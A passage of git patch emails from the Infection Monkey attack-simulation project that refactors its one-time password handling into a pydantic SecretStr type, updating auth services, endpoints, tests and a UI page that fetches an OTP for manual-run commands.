common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from common.credentials import Credentials -from common.types import AgentID, JSONSerializable -from common.types.otp import OTP +from common.types import OTP, AgentID, JSONSerializable from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0d53a0bfc8f..4c8f09aafb3 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -34,8 +34,7 @@ from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue, QueuedAgentEventPublisher from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.tags.attack import T1082_ATTACK_TECHNIQUE_TAG -from common.types import NetworkPort, SocketAddress -from common.types.otp import OTP +from common.types import OTP, NetworkPort, SocketAddress from common.utils.argparse_types import positive_int from common.utils.code_utils import del_key, secure_generate_random_string from common.utils.file_utils import create_secure_directory From ac97e9e70782cbcae659efe2688c480062a116ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 19:51:58 -0400 Subject: [PATCH 1148/1338] Common: Make OTP TypeAlias a SecretStr The `ISecretVariable` was added to attempt to isolate other components from pydantic. While a noble attempt, the interface is too loose to be truly valuable (get_secret_value() returns Any). The OTP type alias itself serves the purpose of isolating the code from pydantic. The only pydantic "leakage" would be the name of the method, `get_secret_value()`. However, if we removed pydantic, as long as whatever replaced `pydantic.SecretStr` still provides `get_secret_value() -> str`, no other code needs to change. We could provide `ISecretStr`, but if its interface is identical to `SecretStr`, I don't see what value that would offer us. An additional note: We'd prefer OTP to be a concrete type so that strings can be converted to OTPs easily with `OTP(my_otp_str)`. --- monkey/common/types/otp.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/types/otp.py b/monkey/common/types/otp.py index cf2de8dac5d..14c39117d7a 100644 --- a/monkey/common/types/otp.py +++ b/monkey/common/types/otp.py @@ -1,5 +1,5 @@ from typing import TypeAlias -from common.utils.i_secret_variable import ISecretVariable +from pydantic import SecretStr -OTP: TypeAlias = ISecretVariable +OTP: TypeAlias = SecretStr From f95656c07b61b1368f788603889df8f5e4630776 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 19:56:24 -0400 Subject: [PATCH 1149/1338] Island: Use common.types.OTP in IOTPRepository --- .../i_otp_repository.py | 2 +- .../mongo_otp_repository.py | 8 +++-- .../test_mongo_otp_repository.py | 34 +++++++++++-------- 3 files changed, 25 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index b774371505a..2be24df6b74 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod -from .types import OTP +from common.types import OTP class IOTPRepository(ABC): diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 28acd4d6d05..d98d1041549 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -4,6 +4,7 @@ from bson.objectid import ObjectId from pymongo import MongoClient +from common.types import OTP from monkey_island.cc.repositories import ( MONGO_OBJECT_ID_KEY, RemovalError, @@ -14,7 +15,6 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from .i_otp_repository import IOTPRepository -from .types import OTP class MongoOTPRepository(IOTPRepository): @@ -29,7 +29,7 @@ def __init__( def insert_otp(self, otp: OTP, expiration: float): try: - encrypted_otp = self._encryptor.encrypt(otp.encode()) + encrypted_otp = self._encryptor.encrypt(otp.get_secret_value().encode()) self._otp_collection.insert_one( {"otp": encrypted_otp, "expiration_time": expiration, "used": False} ) @@ -71,8 +71,10 @@ def _get_otp_document(self, otp: OTP) -> Mapping[str, Any]: @lru_cache def _get_otp_object_id(self, otp: OTP) -> ObjectId: + otp_str = otp.get_secret_value() + try: - encrypted_otp = self._encryptor.encrypt(otp.encode()) + encrypted_otp = self._encryptor.encrypt(otp_str.encode()) otp_dict = self._otp_collection.find_one({"otp": encrypted_otp}, [MONGO_OBJECT_ID_KEY]) except Exception as err: raise RetrievalError(f"Error retrieving OTP: {err}") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index efe2ee69538..00e4e9f5e65 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -4,6 +4,7 @@ import mongomock import pytest +from common.types import OTP from monkey_island.cc.repositories import ( RemovalError, RetrievalError, @@ -16,15 +17,15 @@ @dataclass -class OTP: +class OTPData: otp: str expiration_time: float OTPS = ( - OTP(otp="test_otp_1", expiration_time=1), - OTP(otp="test_otp_2", expiration_time=2), - OTP(otp="test_otp_3", expiration_time=3), + OTPData(otp=OTP("test_otp_1"), expiration_time=1), + OTPData(otp=OTP("test_otp_2"), expiration_time=2), + OTPData(otp=OTP("test_otp_3"), expiration_time=3), ) @@ -62,8 +63,8 @@ def error_raising_otp_repository( def test_insert_otp(otp_repository: IOTPRepository): - otp_repository.insert_otp("test_otp", 1) - assert otp_repository.get_expiration("test_otp") == 1 + otp_repository.insert_otp(OTPS[1].otp, 1) + assert otp_repository.get_expiration(OTPS[1].otp) == 1 def test_insert_otp__prevents_duplicates(otp_repository: IOTPRepository): @@ -91,19 +92,22 @@ def test_get_expiration__raises_unknown_record_error_if_otp_does_not_exist( otp_repository: IOTPRepository, ): with pytest.raises(UnknownRecordError): - otp_repository.get_expiration("test_otp") + otp_repository.get_expiration(OTPS[2].otp) -def test_get_expiration__returns_expiration_if_otp_exists(otp_repository: IOTPRepository): - otp_repository.insert_otp(OTPS[0].otp, OTPS[0].expiration_time) - assert otp_repository.get_expiration(OTPS[0].otp) == OTPS[0].expiration_time +@pytest.mark.parametrize("OTP", OTPS) +def test_get_expiration__returns_expiration_if_otp_exists( + OTP: OTPData, otp_repository: IOTPRepository +): + otp_repository.insert_otp(OTP.otp, OTP.expiration_time) + assert otp_repository.get_expiration(OTP.otp) == OTP.expiration_time def test_get_expiration__raises_retrieval_error_if_error_occurs( error_raising_otp_repository: IOTPRepository, ): with pytest.raises(RetrievalError): - error_raising_otp_repository.get_expiration("test_otp") + error_raising_otp_repository.get_expiration(OTPS[0].otp) def test_reset__deletes_all_otp(otp_repository: IOTPRepository): @@ -123,7 +127,7 @@ def test_reset__raises_removal_error_if_error_occurs(error_raising_otp_repositor def test_set_used(otp_repository: IOTPRepository): - otp = "test_otp" + otp = OTP("test_otp") otp_repository.insert_otp(otp, 1) assert not otp_repository.otp_is_used(otp) @@ -136,16 +140,16 @@ def test_set_used__storage_error( ): error_raising_mongo_client.monkey_island.otp.find_one.side_effect = None with pytest.raises(StorageError): - error_raising_otp_repository.set_used("test_otp") + error_raising_otp_repository.set_used(OTP("test_otp")) def test_set_used__unknown_record_error(otp_repository: IOTPRepository): with pytest.raises(UnknownRecordError): - otp_repository.set_used("test_otp") + otp_repository.set_used(OTP("test_otp")) def test_set_used__idempotent(otp_repository: IOTPRepository): - otp = "test_otp" + otp = OTP("test_otp") otp_repository.insert_otp(otp, 1) otp_repository.set_used(otp) From 7993cf8bfc7fcb197c48f575b6463e02199db262 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:01:54 -0400 Subject: [PATCH 1150/1338] UT: Use OTP type in data_for_tests/otp.py --- monkey/tests/data_for_tests/otp.py | 4 ++-- .../island_api_client/test_http_island_api_client.py | 10 +++++----- .../tests/unit_tests/infection_monkey/test_monkey.py | 6 +++--- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/tests/data_for_tests/otp.py b/monkey/tests/data_for_tests/otp.py index 755e696f571..e5bb0dc2800 100644 --- a/monkey/tests/data_for_tests/otp.py +++ b/monkey/tests/data_for_tests/otp.py @@ -1,3 +1,3 @@ -from common.utils.secret_variable import SecretVariable +from common.types import OTP -OTP = SecretVariable("fake_otp") +TEST_OTP = OTP("test_otp") diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 9651f511590..96318ac7dd0 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -7,7 +7,7 @@ import pytest import requests from tests.common.example_agent_configuration import AGENT_CONFIGURATION -from tests.data_for_tests.otp import OTP +from tests.data_for_tests.otp import TEST_OTP from tests.data_for_tests.propagation_credentials import CREDENTIALS_DICTS from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import ( FAKE_AGENT_MANIFEST_DICT, @@ -107,7 +107,7 @@ def test_login__connection_error(): api_client = build_api_client(http_client_stub) with pytest.raises(IslandAPIError): - api_client.login(OTP) + api_client.login(TEST_OTP) def test_login(): @@ -127,7 +127,7 @@ def test_login(): } api_client = build_api_client(http_client_stub) - api_client.login(OTP) + api_client.login(TEST_OTP) assert http_client_stub.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] == auth_token @@ -139,7 +139,7 @@ def test_login__bad_response(): api_client = build_api_client(http_client_stub) with pytest.raises(IslandAPIAuthenticationError): - api_client.login(OTP) + api_client.login(TEST_OTP) def test_login__does_not_overwrite_additional_headers(): @@ -159,7 +159,7 @@ def test_login__does_not_overwrite_additional_headers(): } api_client = build_api_client(http_client_stub) - api_client.login(OTP) + api_client.login(TEST_OTP) assert http_client_stub.additional_headers == { "Some-Header": "some value", diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index f85781278d5..2dcd0430a24 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -1,7 +1,7 @@ import os import pytest -from tests.data_for_tests.otp import OTP +from tests.data_for_tests.otp import TEST_OTP from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from infection_monkey.model import OTP_FLAG @@ -10,12 +10,12 @@ @pytest.fixture(autouse=True) def configure_environment_variables(monkeypatch): - monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, OTP.get_secret_value()) + monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, TEST_OTP.get_secret_value()) monkeypatch.setenv(OTP_FLAG, True) def test_get_otp(monkeypatch): - assert InfectionMonkey._get_otp().get_secret_value() == OTP.get_secret_value() + assert InfectionMonkey._get_otp().get_secret_value() == TEST_OTP.get_secret_value() assert AGENT_OTP_ENVIRONMENT_VARIABLE not in os.environ From 86c07236926dca3aa69f4adfafefad139f536f54 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:04:13 -0400 Subject: [PATCH 1151/1338] Agent: Use OTP type in InfectionMonkey --- monkey/infection_monkey/monkey.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4c8f09aafb3..59f6d4f1021 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -38,7 +38,6 @@ from common.utils.argparse_types import positive_int from common.utils.code_utils import del_key, secure_generate_random_string from common.utils.file_utils import create_secure_directory -from common.utils.secret_variable import SecretVariable from infection_monkey.agent_event_handlers import ( AgentEventForwarder, add_stolen_credentials_to_propagation_credentials_repository, @@ -176,10 +175,10 @@ def _get_arguments(args): def _get_otp() -> OTP: # No need for a constant, this is a feature flag that will be removed. if OTP_FLAG not in os.environ: - return SecretVariable("PLACEHOLDER_OTP") + return OTP("PLACEHOLDER_OTP") try: - otp = SecretVariable(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE]) + otp = OTP(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE]) except KeyError: raise Exception( f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable. " From 3cdb40109ddb293bb723b03eb5b23fb809aa749d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:04:46 -0400 Subject: [PATCH 1152/1338] Common: Remove disused SecretVariable --- monkey/common/utils/secret_variable.py | 16 ---------------- .../common/utils/test_secret_variable.py | 15 --------------- 2 files changed, 31 deletions(-) delete mode 100644 monkey/common/utils/secret_variable.py delete mode 100644 monkey/tests/unit_tests/common/utils/test_secret_variable.py diff --git a/monkey/common/utils/secret_variable.py b/monkey/common/utils/secret_variable.py deleted file mode 100644 index 5e53209daa5..00000000000 --- a/monkey/common/utils/secret_variable.py +++ /dev/null @@ -1,16 +0,0 @@ -from typing import Any - -from pydantic.types import SecretStr - -from common.utils.i_secret_variable import ISecretVariable - - -class SecretVariable(ISecretVariable): - def __init__(self, secret_value: Any): - if isinstance(secret_value, str): - self._secret_value = SecretStr(secret_value) - else: - raise NotImplementedError("SecretVariable only supports string values.") - - def get_secret_value(self) -> Any: - return self._secret_value.get_secret_value() diff --git a/monkey/tests/unit_tests/common/utils/test_secret_variable.py b/monkey/tests/unit_tests/common/utils/test_secret_variable.py deleted file mode 100644 index a93abdc63f6..00000000000 --- a/monkey/tests/unit_tests/common/utils/test_secret_variable.py +++ /dev/null @@ -1,15 +0,0 @@ -import logging - -from common.utils.secret_variable import SecretVariable - -SECRET_TEXT = "my_secret_value" - - -def test_secret_variable__no_logging(capsys): - secret_variable = SecretVariable(SECRET_TEXT) - logger = logging.getLogger(__name__) - - logger.debug(secret_variable) - - captured = capsys.readouterr() - assert SECRET_TEXT not in captured.out From c0698db5ae52c3f09373fe9a0b21fc7b3b80d0e4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:05:11 -0400 Subject: [PATCH 1153/1338] Common: Remove disused ISecretVariable --- monkey/common/utils/i_secret_variable.py | 8 -------- 1 file changed, 8 deletions(-) delete mode 100644 monkey/common/utils/i_secret_variable.py diff --git a/monkey/common/utils/i_secret_variable.py b/monkey/common/utils/i_secret_variable.py deleted file mode 100644 index 8ab3d4d97b8..00000000000 --- a/monkey/common/utils/i_secret_variable.py +++ /dev/null @@ -1,8 +0,0 @@ -from abc import ABC, abstractmethod -from typing import Any - - -class ISecretVariable(ABC): - @abstractmethod - def get_secret_value(self) -> Any: - pass From 4d1d343f7deae39b91fa155545400d43858e9cbb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:08:50 -0400 Subject: [PATCH 1154/1338] Island: Use OTP type in AuthenticationFacade --- .../services/authentication_service/authentication_facade.py | 5 +++-- .../authentication_service/test_authentication_service.py | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index c049a5b6e08..359e66411c4 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -5,6 +5,7 @@ from flask_security import UserDatastore +from common.types import OTP from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode @@ -15,7 +16,7 @@ from . import AccountRole from .i_otp_repository import IOTPRepository from .token_parser import ParsedToken, TokenParser -from .types import OTP, Token +from .types import Token from .user import User OTP_EXPIRATION_TIME = 2 * 60 # 2 minutes @@ -95,7 +96,7 @@ def generate_otp(self) -> OTP: The generated OTP is saved to the `IOTPRepository` """ - otp = secure_generate_random_string(32, string.ascii_letters + string.digits + "._-") + otp = OTP(secure_generate_random_string(32, string.ascii_letters + string.digits + "._-")) expiration_time = time.monotonic() + OTP_EXPIRATION_TIME self._otp_repository.insert_otp(otp, expiration_time) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 252ad3446a5..68aebafa9e9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -8,6 +8,7 @@ from flask_security import UserDatastore from tests.common import StubDIContainer +from common.types import OTP from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.repositories import UnknownRecordError @@ -235,7 +236,7 @@ def test_authorize_otp( get_expiration_return_value: int, otp_is_valid_expected_value: bool, ): - otp = "secret" + otp = OTP("secret") freezer.move_to(TIME) @@ -250,7 +251,7 @@ def test_authorize_otp__unknown_otp( authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository, ): - otp = "secret" + otp = OTP("secret") mock_otp_repository.otp_is_used.side_effect = UnknownRecordError(f"Unknown otp {otp}") mock_otp_repository.set_used.side_effect = UnknownRecordError(f"Unknown otp {otp}") From 04fb13cbe07653296274d90020e59a1fb96dc1b6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:11:00 -0400 Subject: [PATCH 1155/1338] Island: Use common.types.OTP in IOTPGenerator --- .../authentication_service_otp_generator.py | 3 ++- .../cc/services/authentication_service/i_otp_generator.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py index 438c3f2e187..ecba95384c7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_service_otp_generator.py @@ -1,6 +1,7 @@ +from common.types import OTP + from .authentication_facade import AuthenticationFacade from .i_otp_generator import IOTPGenerator -from .types import OTP class AuthenticationServiceOTPGenerator(IOTPGenerator): diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py index caa1b93ade9..6d98fa646ff 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_generator.py @@ -1,6 +1,6 @@ from abc import ABC, abstractmethod -from .types import OTP +from common.types import OTP class IOTPGenerator(ABC): From e81aedf600341846532ae70ae9c67e760f5b5e63 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:13:32 -0400 Subject: [PATCH 1156/1338] Island: Use common.types.OTP in AgentOTP endpoint --- .../authentication_service/flask_resources/agent_otp.py | 2 +- .../flask_resources/test_agent_otp.py | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index 88a5ed49249..9bc2c0b5aea 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -51,6 +51,6 @@ def get(self): raise RuntimeError("limiter has not been initialized") try: with AgentOTP.limiter: - return make_response({"otp": self._otp_generator.generate_otp()}) + return make_response({"otp": self._otp_generator.generate_otp().get_secret_value()}) except RateLimitExceeded: return make_response("Rate limit exceeded", HTTPStatus.TOO_MANY_REQUESTS) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py index 6ee9dfd1714..6f908bbe8da 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py @@ -2,12 +2,11 @@ from typing import Callable import pytest +from tests.data_for_tests.otp import TEST_OTP from monkey_island.cc.services.authentication_service import IOTPGenerator from monkey_island.cc.services.authentication_service.flask_resources.agent_otp import AgentOTP -OTP = "supersecretpassword" - @pytest.fixture def make_otp_request(flask_client): @@ -20,8 +19,8 @@ def _make_otp_request(): def test_agent_otp__successful(make_otp_request: Callable, mock_otp_generator: IOTPGenerator): - mock_otp_generator.generate_otp.return_value = OTP + mock_otp_generator.generate_otp.return_value = TEST_OTP response = make_otp_request() assert response.status_code == HTTPStatus.OK - assert response.json["otp"] == OTP + assert response.json["otp"] == TEST_OTP.get_secret_value() From 891bacb816b8f54d07a4924fb36a71e35ac54ee0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:17:29 -0400 Subject: [PATCH 1157/1338] Island: Use common.types.OTP in AgentOTPLogin endpoint --- .../flask_resources/agent_otp_login.py | 3 +-- .../flask_resources/test_agent_otp_login.py | 7 ++++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 4dc54f7a6c9..70a0de2ac3a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -7,13 +7,12 @@ from flask_security.registerable import register_user from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME -from common.types import AgentID +from common.types import OTP, AgentID from common.utils.code_utils import secure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.authentication_service import AccountRole from ..authentication_facade import AuthenticationFacade -from ..types import OTP class ArgumentParsingException(Exception): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py index 79d291e885c..51953a957c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp_login.py @@ -2,6 +2,7 @@ from uuid import UUID import pytest +from tests.data_for_tests.otp import TEST_OTP from tests.unit_tests.monkey_island.conftest import get_url_for_resource from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME @@ -23,7 +24,7 @@ def _agent_otp_login(request_body): def test_agent_otp_login__successful(agent_otp_login): - response = agent_otp_login({"agent_id": AGENT_ID, "otp": "supersecretpassword"}) + response = agent_otp_login({"agent_id": AGENT_ID, "otp": TEST_OTP.get_secret_value()}) assert response.status_code == HTTPStatus.OK assert ACCESS_TOKEN_KEY_NAME in response.json["response"]["user"] @@ -37,8 +38,8 @@ def test_agent_otp_login__successful(agent_otp_login): [], {"otp": ""}, {"agent_id": AGENT_ID}, - {"agent_id": "", "otp": "supersecretpassword"}, - {"agent_id": "1234", "otp": "supersecretpassword"}, + {"agent_id": "", "otp": TEST_OTP.get_secret_value()}, + {"agent_id": "1234", "otp": TEST_OTP.get_secret_value()}, ], ) def test_invalid_request(agent_otp_login, data): From 6f7eddc40abb1ca69ff880a5507209f40e72c9fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:19:48 -0400 Subject: [PATCH 1158/1338] Island: Use common.types.OTP in LocalMonkeyRunService --- .../cc/services/authentication_service/__init__.py | 1 - monkey/monkey_island/cc/services/run_local_monkey.py | 4 ++-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index a65de62cf01..c8bb18d7a2b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,4 +1,3 @@ -from .types import OTP from .account_role import AccountRole from .flask_resources import register_resources from .i_otp_generator import IOTPGenerator diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 5c0b9c73e23..d2f76ae460e 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -9,9 +9,9 @@ from typing import Sequence from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from common.types import OTP from monkey_island.cc.repositories import IAgentBinaryRepository, RetrievalError from monkey_island.cc.server_utils.consts import ISLAND_PORT -from monkey_island.cc.services.authentication_service import OTP logger = logging.getLogger(__name__) @@ -73,7 +73,7 @@ def run_local_monkey(self, otp: OTP): port = ISLAND_PORT process_env = os.environ.copy() - process_env[AGENT_OTP_ENVIRONMENT_VARIABLE] = otp + process_env[AGENT_OTP_ENVIRONMENT_VARIABLE] = otp.get_secret_value() args = [str(dest_path), "m0nk3y", "-s", f"{ip}:{port}"] subprocess.Popen(args, cwd=self._data_dir, env=process_env) except Exception as exc: From 7539afd087a3c43dd7ca4710087f812cba9e1550 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 20:21:37 -0400 Subject: [PATCH 1159/1338] Island: Remove disused OTP str type from authentication_service.types --- monkey/monkey_island/cc/services/authentication_service/types.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/types.py b/monkey/monkey_island/cc/services/authentication_service/types.py index 020edec6ad0..04aded763ad 100644 --- a/monkey/monkey_island/cc/services/authentication_service/types.py +++ b/monkey/monkey_island/cc/services/authentication_service/types.py @@ -1,4 +1,3 @@ from typing import TypeAlias Token: TypeAlias = str -OTP: TypeAlias = str From c55cc3c82af231db48e1e0c14c042a4f36f54bc8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 20:26:38 +0000 Subject: [PATCH 1160/1338] UI: Generate manual run commands with OTP --- .../cc/ui/src/components/IslandHttpClient.tsx | 1 + .../RunManually/LocalManualRunOptions.js | 23 +++++++++++++++---- .../commands/local_linux_curl.js | 6 +++-- .../commands/local_linux_wget.js | 6 +++-- .../commands/local_windows_powershell.js | 11 +++++---- 5 files changed, 34 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx index 7ad7a06e934..2aa8ad715c0 100644 --- a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx +++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx @@ -12,6 +12,7 @@ export class Response { } export enum APIEndpoint { + agent_otp = '/api/agent-otp', agents = '/api/agents', machines = '/api/machines', nodes = '/api/nodes', diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index 2bafcfd48fd..be222b531b4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -6,7 +6,8 @@ import GenerateLocalWindowsPowershell from '../commands/local_windows_powershell import GenerateLocalLinuxWget from '../commands/local_linux_wget'; import GenerateLocalLinuxCurl from '../commands/local_linux_curl'; import CommandDisplay from '../utils/CommandDisplay'; -import {Form} from 'react-bootstrap'; +import {Button, Form} from 'react-bootstrap'; +import IslandHttpClient, { APIEndpoint } from '../../../IslandHttpClient'; const LocalManualRunOptions = (props) => { @@ -23,14 +24,19 @@ const getContents = (props) => { [OS_TYPES.LINUX_64]: 'Linux 64bit' } + const [otp, setOtp] = useState(''); const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64); const [selectedIp, setSelectedIp] = useState(props.ips[0]); const [customUsername, setCustomUsername] = useState(''); const [commands, setCommands] = useState(generateCommands()); + + useEffect(() => { + getOtp(); + }, []) useEffect(() => { setCommands(generateCommands()); - }, [osType, selectedIp, customUsername]) + }, [osType, selectedIp, customUsername, otp]) function setIp(index) { setSelectedIp(props.ips[index]); @@ -45,12 +51,18 @@ const getContents = (props) => { } } + function getOtp() { + IslandHttpClient.get(APIEndpoint.agent_otp).then(res =>{ + setOtp(res.body.otp); + }); + } + function generateCommands() { if (osType === OS_TYPES.WINDOWS_64) { - return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}] + return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername, otp)}] } else { - return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)}, - {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}] + return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername, otp)}, + {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername, otp)}] } } @@ -72,6 +84,7 @@ const getContents = (props) => { + ) } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index 